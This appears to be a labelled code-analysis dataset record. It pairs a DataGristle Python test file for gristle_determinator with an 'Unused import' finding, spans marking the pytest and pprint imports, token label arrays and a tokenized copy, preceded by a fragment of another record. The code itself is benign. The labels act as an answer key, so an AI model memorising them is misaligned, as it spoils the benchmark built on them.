"/", "php", "ola", "it", "-0", ".5", ".1", ".", "zip", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dst_", "=_", "os_", "._", "path_", "._", "join_", "(_", "head_", ",_", "'", "php", "ola", "it", "-0", ".5", ".1", ".", "zip", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "unzip", "_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PACKAG", "E_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "'", "JSONR", "PC", "Exam", "ple", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "desc", "'_", ":_", "'", "JSONR", "PC", " ", "example", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", "--------------", "--------------", "-----------", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "---------", " ", "(-", ":", " ", "DO", " ", "NOT", " ", "EDIT", " ", ":-", ")", " ", "---------", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", "--------------", "--------------", "-----------", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "examples_", "=_", "head_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "os_", "._", "path_", "._", "split_", "(_", "examples_", ")_", "[_", "1_", "]_", "._", "lower_", "(_", ")_", "!=_", "'", "example", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "examples_", "=_", "os_", "._", "path_", "._", "split_", "(_", "examples_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "examples_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "Cann", "ot", " ", "dete", "rmin", "e", " ", "example", "s", " ", "director", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sys_", "._", "path_", "._", "insert_", "(_", "0_", ",_", "os_", "._", "path_", "._", "join_", "(_", "examples_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u", "examples_", "import_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "path_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "util_", "._", "init_", "(_", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup_", "(_", "TARGET", "S_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "translate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install_", "(_", "PACKAG", "E_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
kenfar/DataGristle/scripts/tests/test_gristle_determinator_cmd.py
[ { "content": "#!/usr/bin/env python\n\"\"\" Tests gristle_determinator.py\n\n Contains a primary class: FileStructureFixtureManager\n Which is extended by six classes that override various methods or variables.\n This is a failed experiment - since the output isn't as informative as it\n should be. This should be redesigned.\n\n See the file \"LICENSE\" for the full license governing this code.\n Copyright 2011,2012,2013 Ken Farmer\n\"\"\"\nimport sys\nimport os\nimport tempfile\nimport envoy\nimport csv\nimport pytest\nimport errno\nfrom pprint import pprint as pp\n\nsys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\ndata_dir = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), 'data')\n\nimport gristle.file_type as file_type\nscript_path = os.path.dirname(os.path.dirname(os.path.realpath((__file__))))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def generate_test_file(delim, rec_list, quoted=False):\n (fd, fqfn) = tempfile.mkstemp()\n fp = os.fdopen(fd,\"w\")\n\n for rec in rec_list:\n if quoted:\n for i in range(len(rec)):\n rec[i] = '\"%s\"' % rec[i]\n outrec = delim.join(rec)+'\\n'\n fp.write(outrec)\n\n fp.close()\n return fqfn", "metadata": "root.generate_test_file", "header": "['module', '___EOS___']", "index": 28 }, { "content": "def get_value(parsable_out, division, section, subsection, key):\n \"\"\" Gets the value (right-most field) out of gristle_determinator\n parsable output given the key values for the rest of the fields.\n \"\"\"\n mydialect = csv.Dialect\n mydialect.delimiter = '|'\n mydialect.quoting = file_type.get_quote_number('QUOTE_ALL')\n mydialect.quotechar = '\"'\n mydialect.lineterminator = '\\n'\n\n csvobj = csv.reader(parsable_out.split('\\n'), dialect=mydialect)\n\n for record in csvobj:\n if not record:\n continue\n assert len(record) == 5\n rec_division = record[0]\n rec_section = record[1]\n rec_subsection = record[2]\n rec_key = record[3]\n rec_value = record[4]\n\n if (rec_division == division\n and rec_section == section\n and rec_subsection == subsection\n and rec_key == key):\n return rec_value\n\n return None", "metadata": "root.get_value", "header": "['module', '___EOS___']", "index": 43 }, { "content": "class Test_empty_file(object):\n\n\n\n", "metadata": "root.Test_empty_file", "header": "['module', '___EOS___']", "index": 75 }, { "content": " def setup_method(self, method):\n pass", "metadata": "root.Test_empty_file.setup_method", "header": "['class', 'Test_empty_file', '(', 'object', ')', ':', '___EOS___']", "index": 77 }, { "content": " def test_empty_file(self):\n fqfn = os.path.join(data_dir, 'empty.csv')\n cmd = '%s %s --outputformat=parsable' % (os.path.join(script_path, 'gristle_determinator'), fqfn)\n r = envoy.run(cmd)\n print r.std_out\n print r.std_err\n assert r.status_code == errno.ENODATA\n assert get_value(r.std_out, 'file_analysis_results', 'main', 'main', 'record_count') is None\n assert get_value(r.std_out, 'file_analysis_results', 'main', 'main', 'hasheader') is None", "metadata": "root.Test_empty_file.test_empty_file", "header": "['class', 'Test_empty_file', '(', 'object', ')', ':', '___EOS___']", "index": 80 }, { "content": " def test_empty_file_with_header(self):\n fqfn = os.path.join(data_dir, 'empty_header.csv')\n cmd = '%s %s --outputformat=parsable' % (os.path.join(script_path, 'gristle_determinator'), fqfn)\n r = envoy.run(cmd)\n print r.std_out\n print r.std_err\n assert r.status_code == 0\n assert get_value(r.std_out, 'file_analysis_results', 'main', 'main', 'record_count') == '1'\n assert get_value(r.std_out, 'file_analysis_results', 'main', 'main', 'hasheader') == 'True'", "metadata": "root.Test_empty_file.test_empty_file_with_header", "header": "['class', 'Test_empty_file', '(', 'object', ')', ':', '___EOS___']", "index": 90 }, { "content": " def test_empty_file_with_header_and_hasheader_arg(self):\n fqfn = os.path.join(data_dir, 'empty_header.csv')\n cmd = '%s %s --outputformat=parsable --hasheader' % (os.path.join(script_path, 'gristle_determinator'), fqfn)\n r = envoy.run(cmd)\n print r.std_out\n print r.std_err\n assert r.status_code == 0\n assert get_value(r.std_out, 'file_analysis_results', 'main', 'main', 'record_count') == '1'\n assert get_value(r.std_out, 'file_analysis_results', 'main', 'main', 'hasheader') == 'True'", "metadata": "root.Test_empty_file.test_empty_file_with_header_and_hasheader_arg", "header": "['class', 'Test_empty_file', '(', 'object', ')', ':', '___EOS___']", "index": 100 }, { "content": "class Test_output_formatting_and_contents(object):\n\n\n\n\n", "metadata": "root.Test_output_formatting_and_contents", "header": "['module', '___EOS___']", "index": 114 }, { "content": " def setup_method(self, method):\n recs = [ ['Alabama','8','18'],\n ['Alaska','6','16'],\n ['Arizona','6','14'],\n ['Arkansas','2','12'],\n ['California','19','44'] ]\n self.file_struct = {}\n self.field_struct = {}\n\n fqfn = generate_test_file(delim='|', rec_list=recs, quoted=False)\n cmd = '%s %s --outputformat=parsable' % (os.path.join(script_path, 'gristle_determinator'), fqfn)\n r = envoy.run(cmd)\n #print r.std_out\n #print r.std_err\n assert r.status_code == 0\n\n mydialect = csv.Dialect\n mydialect.delimiter = '|'\n mydialect.quoting = file_type.get_quote_number('QUOTE_ALL')\n mydialect.quotechar = '\"'\n mydialect.lineterminator = '\\n'\n\n csvobj = csv.reader(r.std_out.split('\\n'), dialect=mydialect)\n for record in csvobj:\n if not record:\n continue\n assert len(record) == 5\n division = record[0]\n section = record[1]\n subsection = record[2]\n key = record[3]\n value = record[4]\n\n assert division in ['file_analysis_results','field_analysis_results']\n\n if division == 'file_analysis_results':\n assert section == 'main'\n assert subsection == 'main'\n self.file_struct[key] = value\n elif division == 'field_analysis_results':\n assert 'field_' in section\n assert subsection in ['main','top_values']\n if section not in self.field_struct:\n self.field_struct[section] = {}\n if subsection not in self.field_struct[section]:\n self.field_struct[section][subsection] = {}\n self.field_struct[section][subsection][key] = value", "metadata": "root.Test_output_formatting_and_contents.setup_method", "header": "['class', 'Test_output_formatting_and_contents', '(', 'object', ')', ':', '___EOS___']", "index": 116 }, { "content": " def test_file_info(self):\n assert self.file_struct['record_count'] == '5'\n assert self.file_struct['skipinitialspace'] == 'False'\n assert self.file_struct['quoting'] == 'QUOTE_NONE'\n assert self.file_struct['field_count'] == '3'\n assert self.file_struct['delimiter'] == \"'|'\"\n assert self.file_struct['hasheader'] == 'False'\n assert self.file_struct['escapechar'] == 'None'\n assert self.file_struct['csv_quoting'] == 'False'\n assert self.file_struct['doublequote'] == 'False'\n assert self.file_struct['format_type'] == 'csv'", "metadata": "root.Test_output_formatting_and_contents.test_file_info", "header": "['class', 'Test_output_formatting_and_contents', '(', 'object', ')', ':', '___EOS___']", "index": 165 }, { "content": " def test_field_info(self):\n assert self.field_struct['field_0']['main']['field_number'] == '0'\n assert self.field_struct['field_0']['main']['name'] == 'field_0'\n assert self.field_struct['field_0']['main']['type'] == 'string'\n assert self.field_struct['field_0']['main']['known_values'] == '5'\n assert self.field_struct['field_0']['main']['min'] == 'Alabama'\n assert self.field_struct['field_0']['main']['max'] == 'California'\n assert self.field_struct['field_0']['main']['unique_values'] == '5'\n assert self.field_struct['field_0']['main']['wrong_field_cnt'] == '0'\n assert self.field_struct['field_0']['main']['case'] == 'mixed'\n assert self.field_struct['field_0']['main']['max_length'] == '10'\n assert self.field_struct['field_0']['main']['mean_length'] == '7.6'\n assert self.field_struct['field_0']['main']['min_length'] == '6'\n\n assert self.field_struct['field_1']['main']['field_number'] == '1'\n assert self.field_struct['field_1']['main']['name'] == 'field_1'\n assert self.field_struct['field_1']['main']['type'] == 'integer'\n assert self.field_struct['field_1']['main']['known_values'] == '4'\n assert self.field_struct['field_1']['main']['min'] == '2'\n assert self.field_struct['field_1']['main']['max'] == '19'\n assert self.field_struct['field_1']['main']['unique_values'] == '4'\n assert self.field_struct['field_1']['main']['wrong_field_cnt'] == '0'\n assert self.field_struct['field_1']['main']['mean'] == '8.2'\n assert self.field_struct['field_1']['main']['median'] == '6.0'\n assert self.field_struct['field_1']['main']['std_dev'] == '5.74108003776'\n assert self.field_struct['field_1']['main']['variance'] == '32.96'", "metadata": "root.Test_output_formatting_and_contents.test_field_info", "header": "['class', 'Test_output_formatting_and_contents', '(', 'object', ')', ':', '___EOS___']", "index": 177 }, { "content": " def test_top_value_info(self):\n #pp(self.field_struct)\n assert self.field_struct['field_0']['top_values']['top_values'] == 'not shown - all are unique'\n assert self.field_struct['field_1']['top_values']['2'] == '1'\n assert self.field_struct['field_1']['top_values']['6'] == '2'\n assert self.field_struct['field_1']['top_values']['8'] == '1'\n assert self.field_struct['field_1']['top_values']['19'] == '1'", "metadata": "root.Test_output_formatting_and_contents.test_top_value_info", "header": "['class', 'Test_output_formatting_and_contents', '(', 'object', ')', ':', '___EOS___']", "index": 204 } ]
[ { "span": "import pytest", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 13 }, { "span": "from pprint import pprint as pp", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 31 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", " ", "Test", "s", " ", "gri", "stl", "e\\u", "determina", "tor", ".", "py", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Contain", "s", " ", "a", " ", "primary", " ", "class", ":", " ", "File", "Structur", "e", "Fix", "ture", "Manager", "\\", "10", ";", " ", " ", " ", " ", "Whi", "ch", " ", "is", " ", "extend", "ed", " ", "by", " ", "si", "x", " ", "classe", "s", " ", "tha", "t", " ", "override", " ", "vari", "ous", " ", "method", "s", " ", "or", " ", "variab", "les", ".", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "a", " ", "fail", "ed", " ", "experiment", " ", "-", " ", "sinc", "e", " ", "the", " ", "output", " ", "isn", "'", "t", " ", "as", " ", "informati", "ve", " ", "as", " ", "it", "\\", "10", ";", " ", " ", " ", " ", "shou", "ld", " ", "be", ".", " ", " ", "Thi", "s", " ", "shou", "ld", " ", "be", " ", "rede", "sign", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "the", " ", "file", " ", "\"", "LICENSE", "\"", " ", "for", " ", "the", " ", "full", " ", "license", " ", "govern", "ing", " ", "this", " ", "code", ".", "\\", "10", ";", " ", " ", " ", " ", "Copy", "right", " ", "2011", ",", "2012", ",", "2013", " ", "Ken", " ", "Far", "mer", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "envo", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "csv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pytest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "errno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pprint_", "import_", "pprint_", "as_", "pp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "path_", "._", "insert_", "(_", "0_", ",_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", ")_", ")_", ",_", "'", "data", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "gri", "stl", "e_", "._", "file", "\\u", "type_", "as_", "file", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "\\u", "path_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "realpath_", "(_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "generat", "e\\u", "test\\u", "file_", "(_", "delim_", ",_", "rec", "\\u", "list_", ",_", "quoted", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "fd_", ",_", "fq", "fn_", ")_", "=_", "tempfile_", "._", "mkstemp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fp_", "=_", "os_", "._", "fdo", "pen_", "(_", "fd_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "rec_", "in_", "rec", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "quoted", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "rec_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rec_", "[_", "i_", "]_", "=_", "'\"", "%", "s", "\"'_", "%_", "rec_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "outr", "ec_", "=_", "delim_", "._", "join_", "(_", "rec_", ")_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fp_", "._", "write_", "(_", "outr", "ec_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fp_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "fq", "fn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "value_", "(_", "pars", "able", "\\u", "out_", ",_", "division_", ",_", "section_", ",_", "subsection", "_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Get", "s", " ", "the", " ", "value", " ", "(", "right", "-", "most", " ", "field", ")", " ", "out", " ", "of", " ", "gri", "stl", "e\\u", "determina", "tor", "\\", "10", ";", " ", " ", " ", " ", "pars", "able", " ", "output", " ", "give", "n", " ", "the", " ", "key", " ", "values", " ", "for", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "fields", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "=_", "csv_", "._", "Dial", "ect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "delimiter_", "=_", "'|'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "quoting", "_", "=_", "file", "\\u", "type_", "._", "get", "\\u", "quote", "\\u", "number_", "(_", "'", "QUOTE", "\\u", "ALL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "quotechar", "_", "=_", "'\"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "linet", "ermina", "tor_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "csv", "obj_", "=_", "csv_", "._", "reader_", "(_", "pars", "able", "\\u", "out_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ",_", "dialect_", "=_", "mydi", "ale", "ct_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "record_", "in_", "csv", "obj_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "record_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "len_", "(_", "record_", ")_", "==_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec", "\\u", "division_", "=_", "record_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec", "\\u", "section_", "=_", "record_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec", "\\u", "subsection", "_", "=_", "record_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec", "\\u", "key_", "=_", "record_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec", "\\u", "value_", "=_", "record_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "rec", "\\u", "division_", "==_", "division_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "rec", "\\u", "section_", "==_", "section_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "rec", "\\u", "subsection", "_", "==_", "subsection", "_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "rec", "\\u", "key_", "==_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "rec", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "\\u", "empty", "\\u", "file_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "empty", "\\u", "file_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "setup", "\\u", "method_", "(_", "self_", ",_", "method_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "empty", "\\u", "file_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "empty", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fq", "fn_", "=_", "os_", "._", "path_", "._", "join_", "(_", "data\\u", "dir_", ",_", "'", "empty", ".", "csv", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "'%", "s", " ", "%", "s", " ", "--", "output", "format", "=", "pars", "able", "'_", "%_", "(_", "os_", "._", "path_", "._", "join_", "(_", "script", "\\u", "path_", ",_", "'", "gri", "stl", "e\\u", "determina", "tor", "'_", ")_", ",_", "fq", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "envo", "y_", "._", "run_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "r_", "._", "std", "\\u", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "r_", "._", "std", "\\u", "err_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r_", "._", "status", "\\u", "code_", "==_", "errno_", "._", "ENO", "DATA_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "get", "\\u", "value_", "(_", "r_", "._", "std", "\\u", "out_", ",_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ",_", "'", "main", "'_", ",_", "'", "main", "'_", ",_", "'", "record", "\\u", "count", "'_", ")_", "is_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "get", "\\u", "value_", "(_", "r_", "._", "std", "\\u", "out_", ",_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ",_", "'", "main", "'_", ",_", "'", "main", "'_", ",_", "'", "hashe", "ader", "'_", ")_", "is_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "empty", "\\u", "file_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "empty", 